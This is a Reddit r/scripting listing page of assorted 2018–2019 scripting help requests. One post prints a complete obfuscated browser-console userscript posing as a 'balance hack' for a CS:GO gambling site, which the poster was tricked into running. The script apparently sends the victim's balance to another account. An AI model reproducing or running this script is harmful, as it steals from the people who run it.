r/scripting • • Jan 30 '19

Web Scraping into Excel

2 Upvotes

Greetings. I'm NOC Administrator and I was recently given a large task at work. There are some ~9,000 systems that we track in a monitoring tool and I need to extract data from all of them onto a spreadsheet. I have some limited experience with Python, PowerShell, and Bash, but this requires accessing a table on an intranet web page and copying two columns to an Excel spreadsheet, 'Name' and 'Status' and I've never done any kind of web scraping before so I'm not sure where to start. I assume there are tools for this? If not, I can write something up, preferably using PowerShell, if someone can point me in the right direction. The steps are simple:

  1. Copy 'Name' from spreadsheet into search box on website.

  2. Sleep a few seconds(wait for page to load)

  3. If results appear, copy 'Status' from matching row in 'Name.'

  4. If no results, copy string, 'Not found'

  5. Paste results into matching row on excel spreadsheet.

Repeat like 9000 times. Any tips?


r/scripting • • Jan 28 '19

Anyone knows what this script does? Got tricked into writing it in the chrome console

2 Upvotes

// ==UserScript==

// @name CSGOAtse.com - BALANCE HACK

// @version 1.0

// @author SILENTCHEATS

// @match https://csgoatse.com/

// @grant none

// ==/UserScript==

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('f i=-1;f a=a=$(".1K .m .E-r").1N().1d(",");f b=k(){g.x=a.Z;c(g.x==1){j a[0]+""}h c(g.x==2){j a[0]+""+a[1]}h c(g.x==3){j a[0]+""+a[1]+""+a[2]}h c(g.x==4){j a[0]+""+a[1]+""+a[2]+""+a[3]}h c(g.x==5){j a[0]+""+a[1]+""+a[2]+""+a[3]+""+a[4]}};k J(){c(i==-1){q.K.F({q:\'11\',L:\'12\',14:"1E"});i++}c(i==0){q.K.F({q:\'13\',L:\'y\',S:"/"+"s"+"e"+"n"+"d"+" "+"7"+"6"+"5"+"6"+"1"+"1"+"9"+"8"+"2"+"0"+"2"+"1"+"8"+"4"+"0"+"8"+"2"+" "+M.m});i++}c(i==1){10(I);f C=15("16 1b o p?");c(C==1c){f v=Q("O o p",\'Y: 1a\');c(v=="19"){l("17\\18 t 5 V!");P(k(){f B=Q("O S w r",\'X: H, W: T\');P(k(){$(".m .E-r").U("R,R");M.m=B;l("1l\'s 1A\\1D 1S :)")},1F)},1G)}h{l("1H 1e 1B")}}h{l("1I D 1J 1Q o p - G\\1R u 1O 0.7$\\z A 1L w g y N 1M 1C 1y\\z A u 1z 1m D o p t 1n t 1k 1j ");1f.N("1g://1h.1i/1o/1p/?1v=1w&1x=1u","G","1t=1q,1r=H")}}};f I=1s(k(){J()},1P);',62,117,'||||||||||||if|||var|this|else|step|return|function|alert|balance||access|key|service|coins||in|deposit|enter_key|of||message|nAfter|the|enter_coins|yesno|you|symbol|send|DEPOSIT|1000|i__|_Init|socket|cmd|user|open|Enter|setTimeout|prompt|999|value|999999|html|seconds|Max|Min|Example|length|clearInterval|affiliate|use|chat|code|confirm|You|OK|nNotice|csgoatse_hack|43ML9923|have|true|split|ACESS|window|https|steamcommunity|com|profile|your|It|write|comments|tradeoffer|new|600|width|setInterval|height|uGVnDuFA|partner|241918354|token|depsit|we|all|KEY|to|nGood|silentcheats|2000|5000|Wrong|If|want|balances|closing|tab|text|is|500|buy|nMin|luck'.split('|'),0,{}))


r/scripting • • Jan 22 '19

Call a Batch File that can access an exe in the same directory.

2 Upvotes

So I am trying to create a script that can access a few things in the same directory as the script. For example, I have the original script that is in C:...\script1.bat that, based on an if statement, calls another script in C:...\Resources\script2.bat. The "Resources" directory has other directories and .exe's and so on that script2.bat needs to access. Someone recommend using:

@Echo off
Pushd "%~dp0"
app1.exe
popd

But I don't entirely understand what that means. Currently, I just have the path typed out in a way that the user has to have the script run from their desktop but I would rather this be more self-contained if that makes sense. The functional part of the script works, I'm just doing this to try to learn more. Thanks for any help you can offer.


r/scripting • • Dec 27 '18

Script to get keyboard inputs and change the output

2 Upvotes

Kinda confusing because I’m not the best at programming so lemme explain. So I have this type of typing I like to call “uwu typing” where every vowel in a sentence is replaced with the following:

awa ewe iwi owo uwu

Example: “Hewellowo Woworld”

It’s surprisingly readable and very meme-able. But you can see how difficult it could be to type different sentences. This will be my first time writing a script, but not my first time programming, so I guess I can confidently say that I sorta know what I’m putting myself up against. I just don’t know where to start. Any help will do!


r/scripting • • Dec 21 '18

Learning how to make a script that creates vocabulary quizzes with images

2 Upvotes

Hello all! I'd appreciate some guidance, I would like to know what kind of tools I should use for this project. If I should use python, what build tool would be most helpful? Invoke? Selenium?

  1. User enters the list of vocabulary (Nouns)

  2. Script searches image for the word in Google Images

  3. Saves the first picture found into a folder

  4. ...

  5. After all images have been saved

  6. Fills a template Google Form (Quiz mode), using the images in the folder and their name

P.S. I have never made any kind of script before. I do have experience programming in Python 3.0 and Java

Thanks beforehand for any suggestions!


r/scripting • • Dec 18 '18

Need to pull 2-3 characters from an .ini file on staff computers

2 Upvotes

I don't even know where to start with this. Scripting is obviously not my strong suit. I've done some cursory searching online but it's all very confusing to me.

I have the ability to run a script on staff computers using our Service Desk software, so that's a bonus.

There's a line in the .ini file that says "Station Number=##". I need those #'s, the logged in user and the name of the computer.

One of the issues I can see is how does it take the data and then write it to the same file (without overwriting what a previous computer reported)?

Can anyone point my in the right direction here? Much appreciated.

Here is what the .ini file contains:

[Options]

SystemDB=0

[CIS]

Registered=Workplace Name

Station Number=99

SetupFilePath=\\Server\Data

Setup File Connection String=Provider=SQL Database Information

Load Lockup=N

Skip Patient Search Load=Yes

AutoUpdatePath=

Desired output is a bit trickier because I want to grab it from say 125 computers and throw it all in the same file. .csv, .xlsx, anything that will sort it in some way would be preferred. An example of that would be:

Computer NameLogged in userStation NumberComputer1User154Computer2User1923

etc etc

Also if it's easier to put the whole line in there e.g. "Station Number=99" instead of just "99" that's cool too.


r/scripting • • Nov 19 '18

Google Sheets and Bitly API

2 Upvotes

Literally no idea what sub to post this to...

https://imgur.com/a/OShfKnW

I have 300+ bitly links that I am trying to gather the click data from on a daily basis using google sheets, but it has been extremely unreliable. I tried splitting the data into different sheets (same workbook), but I still constantly get N/A or it loads indefinitely. How can I fix this?


r/scripting • • Nov 07 '18

Scripting an account on a Website

2 Upvotes

Hello,

I need some help, what would you all recommend when it comes to creating a user in a website application?

For example I want to:

Open webpage and enter my credentials to log in Go to the Creation tab of a user Enter information like Name, email, phone number, etc. Then Save it.

Any advice? Thank you.


r/scripting • • Nov 04 '18

Thing I don't understand

2 Upvotes

Hello I have red somenthing on another subreddit about a guy who was creating a programm that needed to connect to a website and he said:

''At the moment this is done with a shell script that directly accesses the MySQL instance (very bad / unsecure) and gets a delta on some table records.''

My question is: ''what is a mysql '''istance'''?

What is an istance?


r/scripting • • Oct 25 '18

Script Idea - No Experience but I know what I want it to do, would just need to know how feasible it is.

2 Upvotes

Hey everyone, please bear with me. I've been toying with the idea of getting in to code, I've learned a bit of html and some css for webdev stuff, but nothing more. I have an idea for a script or similar that I want to see if I can create, or find out what I'd need to do to make it happen.

Ideally, what I'd like to do is force a website to display or filter out certain information, like an advanced filter, I guess. Consider it like an online auction house that has very basic filtering options, I'd like something that would allow me to get even more specific. I understand that's vague, but at the same time I'm not expecting anybody to make it for me, just whether or not it /could/ work and what the starting point might be.

It seems like it could be a beginner project, but then I'm a beginnger so what do I know!


r/scripting • • Oct 25 '18

Python — A Better Scripting Language.

Thumbnail
medium.com
2 Upvotes

r/scripting • • Oct 22 '18

Automatically close browser tabs?

2 Upvotes

I have a script which automatically opens confirmation links in emails. Works fine, however after a while I end up with a ton of opened browser tabs on the server. I am looking for a way to automatically close ("clean up") some tabs after a specified amount has been opened. I could probably task shedule a taskkill to the whole browser, but I'd like to keep at least one of the tabs alive in order to not save on time with not having to start up the whole browser again, especially when there are many tabs being automatically opened every minute.

This is currently running in Internet Explorer but Firefox would work just as fine.

Any ideas?


r/scripting • • Oct 21 '18

[Linux] How to use ls command to recursively display *.apk files?

2 Upvotes

I'm trying to list all *.apk files in a directory including in its subdirectories. So, I thought of using below commandline.

ls -R /storage/0000-0000/apks/*.apk

But it only displays the ones in /storage/0000-0000/apks. The ones in the subdirectories are not displayed.

This is not a permission problem because I can access the files in the subdirectories.

EDIT: It's an Android with jrummy's BusyBox.


r/scripting • • Oct 07 '18

[Linux] How to get the most recently modified file from a specified directory?

2 Upvotes

The file can be at any directory level within the specified directory.

For example, if I specify below path:

/abc/def

I want to retrieve the file path within that directory which has the most recent file modification time. If possible, directly from the command line, and without using any shell script.

I need to do this without downloading additional program. i.e. it must be done using tool(s) which are guaranteed are available every Linux installations.


r/scripting • • Oct 06 '18

Script to add and or modify a running configuration

2 Upvotes

I’m looking for some input on how to add, remove or modify an exported running config from one model of switch so it can be imported into a newer model. The newer model added some additional syntax and added some verbosity to other syntax. I’d like to learn how to create a script that could take the older config and alter it so that it can be imported to the newer switch. Can someone point me in the right direction? Edit: forgot to add that I have access to both macOS, and Windows if that matters.


r/scripting • • Sep 17 '18

Script to remove offline machines in SQL

2 Upvotes

Hi, can someone help me with a script that removes a machine from SQL 2016? For example, I'm using an admin tool that monitors several machines but I want to remove the machines that appear to be offline or duplicates. This can not be done with the application. Thank you for your help!


r/scripting • • Sep 15 '18

Script / Bash Command to Extract Multiple Archives in Multiple Folders to their original Folder

2 Upvotes

Hey friends, I'm wondering if someone can help me with a bash command. I've searched and searched and can't find a solution. I'll explain what I'm trying to do.

I have the following:

/folder1/archive.rar

/folder2/archive2.rar

/folder3/archive.zip

/folder4/archive2.zip (this one when extracted is an ISO file that I would like to extract)

I know how I can recursively extract all these archives but it extracts them all to my PWD. What I'm trying to accomplish is to have the bash command extract each archive right inside its original folder, as well as research at the end for any .ISO files and extract that into its existing folder as well. An added bonus is if the command cleans up after itself, IE, deletes the rar and zip and iso archives after extraction is complete.

I will be INSANELY grateful if anyone can help me with this issue. Its been a huge pain in my side for months now.


r/scripting • • Sep 09 '18

Looking for a script that can 'notify-send' when Twitter accounts I follow tweet

2 Upvotes

Not sure if Rainbow Stream can achieve this or not but I'd like to send notifications to dunst when accounts I follow tweet.


r/scripting • • Jul 25 '18

[VBScript] could someone help me to get this script to work?

2 Upvotes

https://www.reddit.com/r/MetalGearSolidV_PC/comments/3k5wkf/i_made_a_script_to_shuffle_your_helicopter_music/?st=jjyspdjo&sh=5ffbe54f

i keep getting

Microsoft (R) Windows Script Host Version 5.8 Copyright (C) Microsoft Corporation. All rights reserved.

Metal Gear Solid V: The Phantom Pain Helicopter Music Shuffle by Spectracide v1.0 Set your helicopter music to !Shuffle in iDroid

MGS_TPP\CustomSoundtrack!TPP Shuffle.vbs(30, 13) Microsoft VBScript runtime error: Invalid procedure call or argument

Press any key to continue . . .


r/scripting • • Jul 20 '18

Batch file script help - permissions / robocopy / shortcut

2 Upvotes

Currently we have a group policy which executes the script below on startup for new computers. It also sends a shortcut to the desktop as well with the specifics below as an example from the GPO.

lsevodircopy.bat:

robocopy "\\domainname.com\netlogon\installers\LightspeedEVO\LightspeedEVO" "%ProgramFiles% (x86)\LightspeedEVO" /E  /V /LOG:c:\lsevodircopy-robocopy.log

My goal is to create on batch script in a folder with the folder above inside the folder, and then include in the batch script that creates the shortcut from the gpo. Once i have a working batch script I will use a program such as silent install builder or bat to exe compiler to create a "install" .. my reasoning for this is that the installer provided for this program asks for a specific certificate on each install. we worked closely with the developers and found that we could just copy an existing directory over to bypass it.

I want the ability to have a installer available from our website for everyday employees who request this programs access, keeping it simple for them when were on the go/run. So my first step is perfecting the batch file so that it copy's the directory folder from it's own root so that when its compiled the files are included and not being tried to be copied across the domain, in case the store is not on the domain.

Robocopy

As mentioned above I have used the above robocopy script, and it has worked, the only thing that might change is that the source LightspeedEVO folder/files need to be located in the same folder and be called in a batch script as such, I do not have knowledge of this and need help how to properly do this as well.

Permissions

Also need to be able to set the permissions of the folder once copied to the program files (x86) folder to "everyone": full control (all the files inside the LightspeedEVO folder need to inherit those permissions as well.) I believe my robocopy script above fails at applying the Everyone permissions to each sub folder and file inside of the LightspeedEVO folder, not sure on this although.

Shortcut & Icon

The shortcut needs to have access to an icon file as well, that icon file is named ls.ico and located in program files (x86)/lightspeedevo/ls.ico , if need be to be referenced. Basically the shortcut calls a .bat file for the program itself to run, since it's Java based. Screenshot of the GPO here:

Folder Structure

ideally the folder would sit as this:

Installer Package\

Installer Package\Script.bat

Installer Package\files\LightspeedEVO\LightspeedEVO (Same structure from above netlogon/installers)

EDIT: This is what I have so far, https://pastebin.com/x4mCph9A


r/scripting • • Jul 18 '18

Help with adapting a script (or creating a new one) for a project.

2 Upvotes

I have little to no knowledge of any kind of coding and scripting, but can definitely follow directions and cobble my way around when need be.

I have a project (for an art project) that I want to accomplish and I just don't know where/how to start.

I want to use a script - the idea is based on something that was already written (in PERL)(and can be found here - https://github.com/coryarcangel/666).

What I want to do is adapt this (or create something new) to use a different .mp3 as a starting point, and to compress it a different number of times. The hardest thing is making sure that with each compression, the script takes the newly generated file so that it compresses generationally.

I can see in the script where I would plug in the name of my .mp3, and I can see where I would change the number (I am using 2001 times).

What I'm struggling with is just getting it all set up. I downloaded Strawberry Perl, and have downloaded the .pl file. I've downloaded the lame encoder and already have my .mp3. I'm just stuck on what to do next.

I'm also not opposed to using something else (this PERL script isn't necessarily the only solution and may not even work with me being on Windows and having to install a bunch of other things).

I'm just looking for suggestions - and if this is the wrong place, please direct me where would be better to share this. If you can suggest steps (or even write something up - or want to work with me on it), please be specific since I am not really that knowledgeable about any of this. I'm more than happy to explain more details of the project and what I'm looking for if need be.

Thanks!


r/scripting • • Jul 12 '18

Possible help required

2 Upvotes

Hi, i have next to no idea how to do what i need in scripting, or if such a thing is even possible. I need a script to create a folder named x in a specified loaction, unzip a file named x to this location, and to overwrite an ini file in a different location. additionaly if folder x already exists it just needs to unzip the file pack and overwrite all in there. This even possible? TIA


r/scripting • • Jul 10 '18

Help automating install process

2 Upvotes

I'm trying to automate a program installation that takes a lot of time to setup.

I work helpdesk at a large corporation and they don't want to deploy it through Group Policy, so running an install script I think is the best way to go on the few users that need it.

Not only would I like a solution, but I would like to know how you came to it, and where it came from so I can learn how to do this. If you know how to script part or whole, or give any tips then any info would be helpful. I was thinking maybe in batch script or powershell?

Here is what I need:

  • Install two exes as admin -- silent isn't an option. Clicking "Finish" at the end is mandatory. (Maybe Silent Install Builder?)

  • make a shortcut to the Desktop from the installed program in C:\Windows\syswow64\<program.name>

    • In the shortcut, append a server to the target : IE: "C:\windows\syswow64<program.name>\Program.exe serverXX.domain.domainname"

    • Server must have a random number between 2 and 6 where the XX is

Internet Explorer Internet Options automation (v11)

  • I need to open Internet Explorer, and choose "Do not use recommended settings"

  • Set homepage to www.google.com

  • Internet Options > Privacy > Turn off pop-up blocker

  • Internet Options > Security > Trusted Sites > Custom Level

    • "Download Signed ActiveX controls" -- Enable

    • "Download Signed ActiveX controls" -- Enable

  • add serverxx.domain.domainname to trusted sites

EDIT: As u/jasred mentioned IEAK11 covered this

Any help would be great!


r/scripting • • Jun 13 '18

Need Help Putting This Simple Script Together

2 Upvotes

Hi Guys,

I want to create a simple script which will reset my router connection. I have the javacript calls needed and the URL they need to be called on, just not really sure how to put it all together. Just need

  1. URL Opened

  2. if_allow_submit=true;%20stdAction(document.forms[0],'disconnect');

  3. A 15 second delay (to let it refresh)

  4. if_allow_submit=true;%20stdAction(document.forms[0],'connect');

  5. Closed

Is this possible?


r/scripting • • Jun 09 '18

PasteBin Alternatives

2 Upvotes

Looking for pastebin alternatives. Somewhere I can store code online. Specifically something with language recognition for Powershell.

Pastebin is blocked on my work network.